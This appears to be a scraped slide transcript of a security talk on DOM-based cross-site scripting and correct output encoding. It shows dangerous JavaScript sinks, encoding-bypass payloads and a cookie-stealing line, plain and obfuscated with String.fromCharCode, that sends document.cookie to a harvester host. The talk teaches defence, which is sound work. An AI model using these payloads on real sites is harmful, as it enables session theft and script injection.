DOM Based XSS and Proper Output Encoding By Abraham Kang Principal Security Researcher HP Fortify.

Slides:



Advertisements
Similar presentations
XSS POC en docs.google.com ::phising.js:: document.body.innerHTML = ''; var igoogle = document.createElement('iframe'); igoogle.src = '
Advertisements

Nick Feamster CS 6262 Spring 2009
Preventing Web Application Injections with Complementary Character Coding Raymond Mui Phyllis Frankl Polytechnic Institute of NYU Presented at ESORICS.
Ben Livshits and Úlfar Erlingsson Microsoft Research.
Cross Site Scripting (XSS)
Cross-Site Scripting (XSS) Vulnerability in AJAX and Adobe Flex Applications Danielle Cauthen 04/09/2010 COMS E6125 – Web enHanced Information Management.
Past, Present and Future By Eoin Keary and Jim Manico
Mike Ter Louw V.N. Venkatakrishnan University of Illinois at Chicago
Hossain Shahriar Mohammad Zulkernine. One of the worst vulnerabilities in web applications It involves the generation of dynamic HTML contents with invalidated.
Appeared in 30 th IEEE Symposium on Security and Privacy, May Authors: Mike Ter Louw and V.N. Venkatakrishnan Dept. of Computer Science: University.
Past, Present and Future
© 2009 IBM Corporation IBM Rational Application Security The Bank Job Utilizing XSS Vulnerabilities Adi Sharabani IBM Rational Application Security Research.
HTML5 Security Realities Brad Hill, W3Conf: Practical standards for web professionals February 2013 San Francisco.
PHP and CSS to control web apps styles. CSS is used to style today’s web applications.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
JavaScript and AJAX Jonathan Foss University of Warwick
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Securing Rich Clients and RESTFUL Services Sumit Daryani Vikas Charak
getElementById() document.getElementById(“idName").innerHTML = “Any valid content"; getElementById is a method innerHTML is a property.
Programming Club IIT Kanpur. Work environment Before you begin coding,always set up your work environment to your needs IDE Notepad++ Sublime Text 2.
THE BROKEN WEB A Systematic Analysis of XSS Sanitization in Web Application Frameworks.
0 The Past, Present and Future of XSS Defense Jim Manico 2011 OWASP Brussels.
JavaScript Part 6. Calling JavaScript functions on an event JavaScript doesn’t have a main function like other programming languages but we can imitate.
Web Trust Boundaries and Security Vulnerabilities Haris Volos and Hidayat Teonadi CS739 – Distributed Systems.
Protecting Browsers from Cross-Origin CSS Attacks Lin-Shung Huang, Zack Weinberg Carnegie Mellon University Chris Evans Google Collin Jackson Carnegie.
WEB BROWSER SECURITY By Robert Sellers Brian Bauer.
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
The XSS Files Find, Exploit, and Eliminate. Josh Little Security Engineer at global vertical market business intelligence company. 9 years in application.
MXSS Attacks: Attacking well- secured Web-Applications by using innerHTML Mutations Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, and.
9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional.
Blackbox Reversing of XSS Filters Alexander Sotirov ekoparty 2008.
Presented to OWASP San Antonio at Denim Group Introduction to Cross-Site Scripting with BeEF Created by: Charles Neill Modified Date: 2/5/2015.
Introduction to the OWASP Top 10. Cross Site Scripting (XSS)  Comes in several flavors:  Stored  Reflective  DOM-Based.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
JavaScript innerHTML. Changing Text with innerHTML Each HTML element has an innerHTML property that defines both the HTML code and the text that occurs.
Forms, Validation Week 7 INFM 603. Announcements Try placing today’s example in htdocs (XAMPP). This will allow you to execute examples that rely on PHP.
Preventing SQL Injection ~example of SQL injection $user = $_POST[‘user’]; $pass = $_POST[‘pass’]; $query = DELETE FROM Users WHERE user = ‘$user’ AND.
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
Information Systems Security LAÏMOUCHE El Hadj, DAVY Benjamin 1source :
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Varun Sharma Application Consulting and Engineering (ACE) Team, Microsoft India.
Introduction To Web Application Security in PHP. Security is Big And Often Difficult PHP doesn’t make it any easier.
© 2009 Stephen Wolff Application Security 1 Spring, 2009 OWASP Top Ten  Ten most critical WebApp security flaws. The top 2 are: 1. XSS – Cross Site Scripting.
Cloud = Web, Web = Hacked! Fabio Viggiani. Why Web Apps? Every organization exposes web apps Most common entry point Image source:
OWASP Update Seba Deleersnyder BE Board OWASP Belgium Chapter Meeting 12-Feb-2014.
Document Object Model Nasrullah. DOM When a page is loaded,browser creates a Document Object Model of the Page.
Example – SQL Injection MySQL & PHP code: // The next instruction prompts the user is to supply an ID $personID = getIDstringFromUser(); $sqlQuery = "SELECT.
Overview Web Technologies Computing Science Thompson Rivers University.
Chapter 13 Security Methods Part 2. xss.php Script 13.4 on page 419 ss.php
The OWASP Foundation OWASP XSS Remediation Cassia Martin Romain Gaucher April 7 th, 2011.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
CIS 375—Web App Dev II DHTML. 2 Introduction to DHTML _________ HTML is “a term used by some vendors to describe the combination of HTML, style sheets.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
An Introduction to Web Application Security
Cross-Site Scripting Travis Deyarmin.
Static Detection of Cross-Site Scripting Vulnerabilities
Web Application Security
Example – SQL Injection
Cross Sight scripting: Type-2
Web Systems Development (CSC-215)
THANK YOU SPONSORS!.
Oklahoma City.
Chapter 13 Security Methods Part 2.
WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.
DR. JOHN ABRAHAM PROFESSOR UTPA
Lecture 27 Security I April 4, 2018 Open news web sites.
Exploring DOM-Based Cross Site Attacks
How to add a photo gallery in html/css
Mike Ter Louw, V.N. Venkatakrishnan University of Illinois at Chicago
Presentation transcript:

DOM Based XSS and Proper Output Encoding By Abraham Kang Principal Security Researcher HP Fortify

Goals Understand the DOM based XSS threats Understand how to mitigate DOM based XSS Better understand the output encoding misuse cases If you need to understand traditional XSS see: – _Site_Scripting%29_Prevention_Cheat_Sheet

Review of DOM window.location = userInput; document.forms[0]. i1.value = “Bob”; document.getElementById(“i1”).value = “Bob”;

What’s Old is New HTML CONTEXT document.getElementById(“div1”).innerHTML= input; Test document.getElementById(“a1”).href = input; CSS CONTEXT document.body.style = input; <a id=“a2” href="#" onclick="EVENT HANDLER CTX"… document.getElementById(“a2”).setAttribute(“onclick”, input); JAVASCRIPT CONTEXT document.scripts[0].text = input; document.forms[0].i2.value = input;

DOM Based XSS Untrusted data is passed to/consumed by JavaScript methods which: – Render HTML through DOM methods(Subject to Page Rendering Restructuring Attacks) – Pass untrusted data to code executing JS functions – Pass untrusted data to traditional XSS contexts (represented in DOM) where the attribute datatype is a String – Pass untrusted data to DOM methods which coerce strings into their native JS types

DOM Based XSS 1 (Rendering HTML) Render HTML through HTML Rendering DOM methods(Subject to Page Rendering Restructuring Attacks) buildEchoPage(' ', ' '); … function buildEchoPage(input1, myURL) { document.write(" Echo Page "); document.write(" Echo: " + input1); document.write(" Return to home page " + " ); } element.innerHTML, element.outerHTML and document.writeln()

DOM Based XSS 1 (Rendering HTML) Render HTML through HTML Rendering DOM methods(Subject to Page Rendering Restructuring Attacks) buildEchoPage(' ', ' '); … function buildEchoPage(input1, myURL) { document.write(" Echo Page "); document.write(" Echo: " + input1); document.write(" Return to home page " + " ); }

Mitigating DOM Based XSS 1a Do all encoding (server side) before placing data in page entry point buildEchoPage('<%=DefaultEncoder.encodeForJavascript( DefaultEncoder.encodeForHTML( req.getParameter("input1")))%>', '<%=DefaultEncoder.encodeForJavascript( DefaultEncoder.encodeForURL(req.getParameter("returnUrl")))%>'); … function buildEchoPage(input1, myURL) { document.write(" Echo Page "); document.write(" Echo: " + input1)); document.write(" Return to home page " + " ); }

Mitigating DOM Based XSS 1b Javascript encode (server side) before placing data in page entry point and HTML/URL encode within JavaScript buildEchoPage('<%=DefaultEncoder.encodeForJavascript( req.getParameter("input1"))%>', ' '); … function buildEchoPage(input1, myURL) { document.write(" Echo Page "); document.write(" Echo: " + $ESAPI.encoder().encodeForHTML(input1)); document.write(" Return to home page " + " ); }

DOM Based XSS 2 (code evaluating functions) – Pass untrusted data to code executing JS functions: executeCode(' '); function executeCode(input) { eval(input); setTimeout(input, x); setInterval(input, x); new Function(input); scriptElement.text = input; defineSetter(‘x’, eval); x=input; window[x](input) or top[x](input); input.replace(/.+/, function($1) {//code which operates on $1}) }

Mitigating DOM Based XSS 2 (code evaluation) Always delimit user input in between quotes (‘ and “) Don’t execute script code from user input. Use a level of indirection between the contents of script code and user input. Limit left side operations window[ x ] = input; or top[ x ] = input; Use the appropriate layers of encoding or closures: setTimeout(“customFunction(‘ ’, y)”); … function customFunction (name) { alert("Hello" + name); } setTimeout((function(param) { return function() { customFunction(param); } })(" "), y);

DOM Based XSS 3 (Traditional Contexts) – Pass untrusted data to traditional XSS contexts where the attribute datatype is a String: function buildLink() { document.body.style.backgroundImage = "url(vbscript:Alert(99))"; var linkTag = document.createElement("link"); linkTag.setAttribute("rel", "stylesheet"); linkTag.href = "data:,*%7bx:expression(alert(2))%7d"; //Works linkTag.href = "data:,%2a%7b%78%3a%65%78%70%72%65%73%73%69%6f%6e%28% 61%6c%65%72%74%28%32%29%29%7d"; //DOES WORK var anchorTag = document.createElement("a"); anchorTag.onmouseover = "alert(1)"; //DOES NOT WORK document.body.appendChild(anchorTag); }

Mitigating DOM Based XSS 3 (Traditional Contexts) When setting DOM URL attributes: – URL encode the whole URL if you are using relative URLs. – Ensure that the URL passed in starts with and URL encode the rest of the string (if using absolute URLs). – Use a level of indirection for CSS DOM attributes

DOM Based XSS 4 (through setAttribute) – Pass untrusted data to DOM methods which coerce strings into their native JS types: function buildLink(input) { var linkTag = document.createElement("a"); linkTag.setAttribute("onclick", "alert(123)"); linkTag.setAttribute("onmouseover","alert(123)"); document.body.appendChild(linkTag); }

Mitigating DOM Based XSS 4 (through setAttribute) Do not pass in user controlled script to execute within JavaScript event handlers Do not allow user controlled input to set the attribute name. Use the appropriate encoding for the value of the attribute Additional encoding for usage in function or encode in JS just before use. linkTag.setAttribute("onmouseover”, “myJSFunc(‘ ’)”);

DOM XSS 5 (in HTML attribute context) Because the HTML attribute contexts inherently includes attributes which are not defined in URL, CSS, and event handler contexts their exploitability is limited. The one major exception is when setting the text node or attribute of a inherently dangerous HTML tag (,, etc.). /*Works in FF3.6 but not in IE8 */ s = document.createElement("script"); t = document.createTextNode("alert('textNode')"); s.appendChild(t); document.body.appendChild(s); document.scripts[1].text = "alert('scripts[1]')"; Mitgation: Don’t let users create SCRIPT elements.

DOM Based XSS 6 (Chameleon Context) window[x] = inputVar; top[x] = inputVar; Mitigation: Don’t let users determine the attribute of objects (left side operations).

Problems Associated with Mitigating XSS Using Output Encoding Understanding Characters Encoded by the Encoding Library Used by the Developer Understanding Encoding’s Result Side Effects of Encoding (Parser Ordering) Encoding Fails (CSS)

Characters Encoded by Encoding Library and ', ",, & Apache StringEscapeUtils2.0 escapeJavascript', ", \  \’, \”, \\ but characters between 33 – 127 are left alone escapeHTML",, &.NET HttpUtility ",, & ESAPIAll non-alpha

Encoding Semantics HTML< or &#999 or ࿿ JavaScript\x3c or \u003c URL%3c CSS\3c or \(

Side Effects Parsers ordering can effect escaped values meanings HTML Parser Runs first – Focused on HTML tags and attributes of those tags – Only understands HTML escaping Javascript, URL, and CSS parsers run afterwards with stuff given to it by the HTML parser.

Reverse Encoding at Runtime The HTML parser will reverse encode – HTML encoding in event handlers onclick=“alert(1)” //alert(1) WORKS – HTML and URL encoding in URL attributes (after “protocol:” for URL encoding) href=“javascri&#x7 0;t:alert(1&# x29;” //alert(1) WORKS href = "data:,%2a%7b%78%3a%65%78%70%72%65%73%73%69%6f%6e% 28%61%6c%65%72%74%28%32%29%29%7d"; //DOES WORK The JavaScript parser will reverse encode – URL encoding in URL attributes (after “protocol:” for URL encoding) – The HTML encoded value attribute of HTML rendered page elements retrieved via DOM methods

Encoding Fail #1 (Wrong Encoding) dofunc(' ',' ’); ', ",, &

Encoding Fail #1 (Wrong Encoding Exploit) dofunc( ' ',' ' ); val1 = \ val2 =, 1);attack_code();// dofunc( ‘ \ ’, ‘, 1);attack_code();// ’); *Credit should be given to Jeremy Long for finding the exploit above HTML5 automatically reverse HTML encodes characters in between the tags at runtime.

Encoding Fail #2 (Parser Interaction) x = " "; … <a href="#" onclick=" " > ‘, “, \  \’, \”, \\

Encoding Fail #2 (Parser exploit) x = " "; x = “ attack_code() //"; " > <a href="#" onclick="\” onblur=attack_code() x=\”" >

Encoding Fail #3 (Auto Reverse Escaping at Runtime) ')" > <a href="javascript:jsfunc(’ ');" > ' > ', ",, & alphaNumeric stay same as well as. _ * -

Encoding Fail #4 (Reverse Encoding upon DOM retrieval) ' />" /> … var x = document.getElementById('user_in').value; document.write(x); ', ",, &

Black Lists Can Fail var stolenCookie = document.cookie; document.write(" "); Or eval (String.fromCharCode( 118,97,114,32,115,116,111,108,101,110,67,111,111,107,10 5,101,32,61,32,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,100,111,99,117,109,101,110,116,46,1 19,114,105,116,101,40,8220,60,105,109,103,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,99,111,111, 107,105,101,114,72,97,114,118,101,115,116,101,114,46,99,111,109,47,99,111,111,107,105,101,114,101,97,100,101,1 14,46,112,104,112,63,99,111,111,107,105,101,61,8221,32, 43,32,99,111,111,107,105,101,32,43,32,8220,47,62,8221,4 1,59)) Just need ( ). and comma

Conclusion Use the correct encoding for the DOM Context you are placing data into Understand the characters encoded by the library you are using and how they apply to your context and the surrounding contexts Using the wrong encoding may still leave your app exploitable. Read the DOM XSS Cheat Sheet: – XSS_Prevention_Cheat_Sheet

Questions and Credits ? Special Thanks to Jim Manico (WhiteHat), Jacob West (Fortify), Brian Chess (Fortify), Gaz Hayes, Stefano Di Paola (Minded Security), Achim Hoffman, RSnake, Mario Heiderich, John Stevens (Cigital), Mike Samuel (Google), Arian Evans (WhiteHat), Himanshu Dwivedi and Alex Stamos (iSec Partners)